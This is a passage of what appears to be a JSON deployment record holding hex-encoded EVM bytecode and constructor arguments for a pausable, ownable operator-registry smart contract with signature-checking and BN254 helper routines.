1bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac600184615390565b81548110613cbc57613cbc6150f3565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615463565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615817565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615841565b6127d2919061586c565b604081015160009061271090613f809061ffff1685615841565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614761565b036140f35750565b600181600481111561410757614107614761565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614761565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614761565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614761565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152af565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b60006001600160401b038311156145c2576145c2614519565b6145d5601f8401601f1916602001614579565b90508281528383830111156145e957600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461257600080fd5b81356001600160401b0381111561462857600080fd5b8201601f8101841361463957600080fd5b614648848235602084016145a9565b949350505050565b6000806040838503121561466357600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469557600080fd5b6127d282614672565b815181526020808301519082015260408101610ee4565b60008083601f8401126146c757600080fd5b5081356001600160401b038111156146de57600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561470c57600080fd5b84356001600160401b038082111561472357600080fd5b61472f888389016143ef565b9096509450602087013591508082111561474857600080fd5b50614755878288016146b5565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479557634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147b490840182614777565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147df57600080fd5b6147e761452f565b905081356147f48161448d565b8152614802602083016147bb565b6020820152614813604083016147bb565b604082015292915050565b6000806080838503121561483157600080fd5b61483a83614672565b915061484984602085016147cd565b90509250929050565b60008060006040848603121561486757600080fd5b8335614872816144d7565b925060208401356001600160401b0381111561488d57600080fd5b614899868287016146b5565b9497909650939450505050565b60006001600160401b038211156148bf576148bf614519565b5060051b60200190565b6000604082840312156148db57600080fd5b6148e3614557565b90506148ee82614672565b815260208201356148fe816144d7565b602082015292915050565b600080600080600060a0868803121561492157600080fd5b853561492c816144d7565b945060208681013594506040808801356001600160401b0381111561495057600080fd5b8801601f81018a1361496157600080fd5b803561497461496f826148a6565b614579565b8082825260208201915060208360061b85010192508c83111561499657600080fd5b6020840193505b828410156149be576149af8d856148c9565b8252928401929085019061499d565b999c989b5098996060810135995060800135979650505050505050565b600061010082840312156149ee57600080fd5b50919050565b60008083601f840112614a0657600080fd5b5081356001600160401b03811115614a1d57600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a4a57600080fd5b614a5261452f565b905081356001600160401b03811115614a6a57600080fd5b8201601f81018413614a7b57600080fd5b614a8a848235602084016145a9565b825250602082013560208201526040820135604082015292915050565b60008060008060008060008060006101a08a8c031215614ac657600080fd5b89356001600160401b0380821115614add57600080fd5b614ae98d838e016146b5565b909b50995060208c0135915080821115614b0257600080fd5b614b0e8d838e016146b5565b9099509750879150614b238d60408e016149db565b96506101408c0135915080821115614b3a57600080fd5b614b468d838e016149f4565b90965094506101608c0135915080821115614b6057600080fd5b614b6c8d838e01614a38565b93506101808c0135915080821115614b8357600080fd5b50614b908c828d01614a38565b9150509295985092959850929598565b6000806000806000806101608789031215614bba57600080fd5b86356001600160401b0380821115614bd157600080fd5b614bdd8a838b016146b5565b90985096506020890135915080821115614bf657600080fd5b614c028a838b016146b5565b9096509450849150614c178a60408b016149db565b9350610140890135915080821115614c2e57600080fd5b50614c3b89828a01614a38565b9150509295509295509295565b60008060408385031215614c5b57600080fd5b8235614c668161448d565b91506020838101356001600160401b03811115614c8257600080fd5b8401601f81018613614c9357600080fd5b8035614ca161496f826148a6565b81815260059190911b82018301908381019088831115614cc057600080fd5b928401925b82841015614cde57833582529284019290840190614cc5565b80955050505050509250929050565b6020808252825182820181905260009190848201906040850190845b81811015614d2b57835163ffffffff1683529284019291840191600101614d09565b50909695505050505050565b60008060208385031215614d4a57600080fd5b82356001600160401b03811115614d6057600080fd5b614468858286016146b5565b6001600160601b0381168114610d1957600080fd5b600082601f830112614d9257600080fd5b81356020614da261496f836148a6565b82815260069290921b84018101918181019086841115614dc157600080fd5b8286015b84811015614e125760408189031215614dde5760008081fd5b614de6614557565b8135614df1816144d7565b815281850135614e0081614d6c565b81860152835291830191604001614dc5565b509695505050505050565b600080600060a08486031215614e3257600080fd5b614e3c85856147cd565b92506060840135614e4c81614d6c565b915060808401356001600160401b03811115614e6757600080fd5b614e7386828701614d81565b9150509250925092565b600082601f830112614e8e57600080fd5b81356020614e9e61496f836148a6565b808382526020820191506060602060608602880101945087851115614ec257600080fd5b602087015b85811015614ee657614ed989826147cd565b8452928401928101614ec7565b5090979650505050505050565b600082601f830112614f0457600080fd5b81356020614f1461496f836148a6565b8083825260208201915060208460051b870101935086841115614f3657600080fd5b602086015b84811015614e12578035614f4e81614d6c565b8352918301918301614f3b565b600082601f830112614f6c57600080fd5b81356020614f7c61496f836148a6565b82815260059290921b84018101918181019086841115614f9b57600080fd5b8286015b84811015614e125780356001600160401b03811115614fbe5760008081fd5b614fcc8986838b0101614d81565b845250918301918301614f9f565b600080600080600080600080610100898b031215614ff757600080fd5b615000896144ec565b975061500e60208a016144ec565b965061501c60408a016144ec565b955061502a60608a016144ec565b94506080890135935060a08901356001600160401b038082111561504d57600080fd5b6150598c838d01614e7d565b945060c08b013591508082111561506f57600080fd5b61507b8c838d01614ef3565b935060e08b013591508082111561509157600080fd5b5061509e8b828c01614f5b565b9150509295985092959890939650565b60208101610ee48284614777565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561512f57602081850181015186830182015201615113565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615109565b60006020828403121561517457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156151db57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261524a57600080fd5b8301803591506001600160401b0382111561526457600080fd5b6020019150600581901b36038213156140d057600080fd5b60006020828403121561528e57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee4615299565b600080858511156152d257600080fd5b838611156152df57600080fd5b5050820193919092039150565b600060c08201888352602060018060a01b03808a166020860152604089604087015260c0606087015283895180865260e08801915060208b01955060005b81811015615354578651805160ff168452860151851686840152958501959183019160010161532a565b505060808701989098525050505060a09091019190915250949350505050565b60006040828403121561538657600080fd5b6127d283836148c9565b81810381811115610ee457610ee4615299565b6000600182016153b5576153b5615299565b5060010190565b60018060a01b03841681528260208201526060604082015260006153e36060830184615109565b95945050505050565b6000602082840312156153fe57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261543a5761543a615415565b500690565b6001600160a01b038316815260406020820181905260009061464890830184615109565b8281526040602082015260006146486040830184615109565b60006020828403121561548e57600080fd5b5051919050565b6001600160a01b038416815261016081016154bd602083018580358252602090810135910152565b6154d7606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e084013782516101208301526020830151610140830152614648565b60018060a01b038316815260406020820152600082516060604084015261552f60a0840182615109565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b03841681526040602082018190526000906153e39083018486615550565b60018060a01b03851681528360208201526060604082015260006117ab606083018486615550565b600082601f8301126155d757600080fd5b815160206155e761496f836148a6565b8083825260208201915060208460051b87010193508684111561560957600080fd5b602086015b84811015614e1257805161562181614d6c565b835291830191830161560e565b6000806040838503121561564157600080fd5b82516001600160401b038082111561565857600080fd5b615664868387016155c6565b9350602085015191508082111561567a57600080fd5b50615687858286016155c6565b9150509250929050565b8381526040602082015260006153e3604083018486615550565b600060208083850312156156be57600080fd5b82516001600160401b038111156156d457600080fd5b8301601f810185136156e557600080fd5b80516156f361496f826148a6565b81815260059190911b8201830190838101908783111561571257600080fd5b928401925b8284101561573957835161572a8161448d565b82529284019290840190615717565b979650505050505050565b60006020828403121561575657600080fd5b81516127d281614d6c565b60ff8181168382160190811115610ee457610ee4615299565b60006060820160ff8616835260206001600160601b03808716602086015260406060604087015283875180865260808801915060208901955060005b818110156157e657865180516001600160a01b0316845286015185168684015295850195918301916001016157b6565b50909a9950505050505050505050565b600061ffff80831681810361580d5761580d615299565b6001019392505050565b60006020828403121561582957600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602808216919082811461586457615864615299565b505092915050565b60006001600160601b038084168061588657615886615415565b9216919091049291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a26469706673582212200e3708a41147f575b52031f19707cb5ed95922585f8720c2b3f23c5c2cb16a4164736f6c63430008180033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc4900000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778","output":"0x608060405234801561001057600080fd5b50600436106103265760003560e01c80635b0b829f116101b85780639e9923c211610104578063d72d8dd6116100a2578063e65797ad1161007c578063e65797ad1461083b578063f2fde38b146108de578063fabc1cbc146108f1578063fd39105a1461090457600080fd5b8063d72d8dd61461080d578063d75b4c8814610815578063dd8283f31461082857600080fd5b8063a96f783e116100de578063a96f783e146107aa578063c391425e146107b3578063ca0de882146107d3578063ca4f2d97146107fa57600080fd5b80639e9923c2146107495780639feab85914610770578063a50857bf1461079757600080fd5b8063715018a611610171578063886f11951161014b578063886f1195146106f65780638da5cb5b1461070f5780639aa1653d146107175780639b5d177b1461073657600080fd5b8063715018a6146106c857806384ca5213146106d0578063871ef049146106e357600080fd5b80635b0b829f146106395780635c975abb1461064c5780635df45946146106545780636347c9001461067b578063683048351461068e5780636e3b17db146106b557600080fd5b8063249a0c42116102775780633998fdd3116102305780635140a5481161020a5780635140a548146105df5780635865c60c146105f2578063595c6a67146106125780635ac86ab71461061a57600080fd5b80633998fdd31461056c5780633af32abf146105935780633c2a7f4c146105bf57600080fd5b8063249a0c42146104ed57806328f61b311461050d57806329092d0e14610520578063296bb0641461053357806329d1e0c3146105465780632cdd1e861461055957600080fd5b80630d3f2134116102e457806313542a4e116102be57806313542a4e14610435578063136439dd1461045e5780631478851f146104715780631eb812da146104a457600080fd5b80630d3f2134146103ef57806310d67a2f14610402578063125e05841461041557600080fd5b8062cf2ab51461032b57806303fd34921461034057806304ec635114610373578063054310e61461039e5780630a3b0a4f146103c95780630cf4b767146103dc575b600080fd5b61033e610339366004614433565b610940565b005b61036061034e366004614474565b60009081526098602052604090205490565b6040519081526020015b60405180910390f35b61038661038136600461449f565b610a4e565b6040516001600160c01b03909116815260200161036a565b609d546103b1906001600160a01b031681565b6040516001600160a01b03909116815260200161036a565b61033e6103d73660046144fc565b610b5e565b61033e6103ea366004614600565b610bb2565b61033e6103fd366004614474565b610c5c565b61033e6104103660046144fc565b610c69565b6103606104233660046144fc565b609f6020526000908152604090205481565b6103606104433660046144fc565b6001600160a01b031660009081526099602052604090205490565b61033e61046c366004614474565b610d1c565b61049461047f366004614474565b609a6020526000908152604090205460ff1681565b604051901515815260200161036a565b6104b76104b2366004614650565b610e59565b60408051825163ffffffff908116825260208085015190911690820152918101516001600160c01b03169082015260600161036a565b6103606104fb366004614683565b609b6020526000908152604090205481565b609e546103b1906001600160a01b031681565b61033e61052e3660046144fc565b610eea565b6103b1610541366004614474565b610f3b565b61033e6105543660046144fc565b610fc7565b61033e6105673660046144fc565b610fd8565b6103b17f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6104946105a13660046144fc565b6001600160a01b0316600090815260c8602052604090205460ff1690565b6105d26105cd3660046144fc565b610fe9565b60405161036a919061469e565b61033e6105ed3660046146f6565b611068565b6106056106003660046144fc565b61143e565b60405161036a9190614799565b61033e6114b2565b610494610628366004614683565b6001805460ff9092161b9081161490565b61033e61064736600461481e565b61157e565b600154610360565b6103b17f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc4981565b6103b1610689366004614474565b6115d8565b6103b17f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b61033e6106c3366004614852565b611602565b61033e611757565b6103606106de366004614909565b61176b565b6103866106f1366004614474565b6117b5565b6000546103b1906201000090046001600160a01b031681565b6103b16117c0565b6096546107249060ff1681565b60405160ff909116815260200161036a565b61033e610744366004614aa7565b6117d9565b6103b17f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b6103607f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de681565b61033e6107a5366004614ba0565b611af2565b61036060a05481565b6107c66107c1366004614c48565b611c57565b60405161036a9190614ced565b6103607f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a81565b61033e610808366004614d37565b611d06565b609c54610360565b61033e610823366004614e1d565b611d6c565b61033e610836366004614fda565b611d7f565b6108aa610849366004614683565b60408051606080820183526000808352602080840182905292840181905260ff9490941684526097825292829020825193840183525463ffffffff8116845261ffff600160201b8204811692850192909252600160301b9004169082015290565b60408051825163ffffffff16815260208084015161ffff90811691830191909152928201519092169082015260600161036a565b61033e6108ec3660046144fc565b61203f565b61033e6108ff366004614474565b6120b5565b6109336109123660046144fc565b6001600160a01b031660009081526099602052604090206001015460ff1690565b60405161036a91906150ae565b6001546002906004908116036109715760405162461bcd60e51b8152600401610968906150bc565b60405180910390fd5b60005b82811015610a48576000848483818110610990576109906150f3565b90506020020160208101906109a591906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156109f0576109f0614761565b6002811115610a0157610a01614761565b90525080519091506000610a1482612211565b90506000610a2a826001600160c01b031661227c565b9050610a37858583612348565b505060019093019250610974915050565b50505050565b6000838152609860205260408120805482919084908110610a7157610a716150f3565b600091825260209182902060408051606081018252929091015463ffffffff808216808552600160201b8304821695850195909552600160401b9091046001600160c01b03169183019190915290925085161015610af75760405162461bcd60e51b8152602060048201526003602482015262189b8f60ea1b6044820152606401610968565b602081015163ffffffff161580610b1d5750806020015163ffffffff168463ffffffff16105b610b525760405162461bcd60e51b81526004016109689060208082526004908201526331371e1960e11b604082015260600190565b60400151949350505050565b610b66612435565b6001600160a01b038116600081815260c86020526040808220805460ff19166001179055517f8a3be376fdc726be3f3cee8e59ba5698a268a9b59f69cdabcf06d2ec2c90658f9190a250565b60013360009081526099602052604090206001015460ff166002811115610bdb57610bdb614761565b14610c105760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b33600090815260996020526040908190205490517fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa90610c5190849061514f565b60405180910390a250565b610c64612435565b60a055565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce09190615162565b6001600160a01b0316336001600160a01b031614610d105760405162461bcd60e51b81526004016109689061517f565b610d1981612494565b50565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610d69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8d91906151c9565b610da95760405162461bcd60e51b8152600401610968906151eb565b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e966150f3565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615162565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150bc565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b83811015611435576000858583818110611131576111316150f3565b919091013560f81c91503690506000898985818110611152576111526150f3565b90506020028101906111649190615233565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061527c565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da576000848483818110611253576112536150f3565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614761565b60028111156112c4576112c4614761565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152af565b92611393939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614761565b60028111156114a9576114a9614761565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151c9565b61153f5760405162461bcd60e51b8152600401610968906151eb565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614761565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a8787878787604051602001611048969594939291906152ec565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db60408302860136819003810190615374565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e6000818110611957576119576150f3565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c26150f3565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec6150f3565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a106150f3565b6020026020010151338560200151600081518110611a3057611a306150f3565b60200260200101518c8c6000818110611a4b57611a4b6150f3565b905060400201803603810190611a619190615374565b86613335565b611ae388886000818110611a7d57611a7d6150f3565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c076150f3565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc26150f3565b6020026020010151613504565b828281518110611ce157611ce16150f3565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150bc565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81166001600160a01b03199283161790925585548085018755850180547f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49841690831617905585549384019095559190920180547f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377890921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa56150f3565b6020026020010151858381518110611fbf57611fbf6150f3565b6020026020010151858481518110611fd957611fd96150f3565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615162565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b81526004016109689061517f565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b6000838152609860205260409020612249600183615390565b81548110612259576122596150f3565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b838381518110612310576123106150f3565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153a3565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614761565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16906366acfefe906123bf908890869088906004016153bc565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906153ec565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b6084820152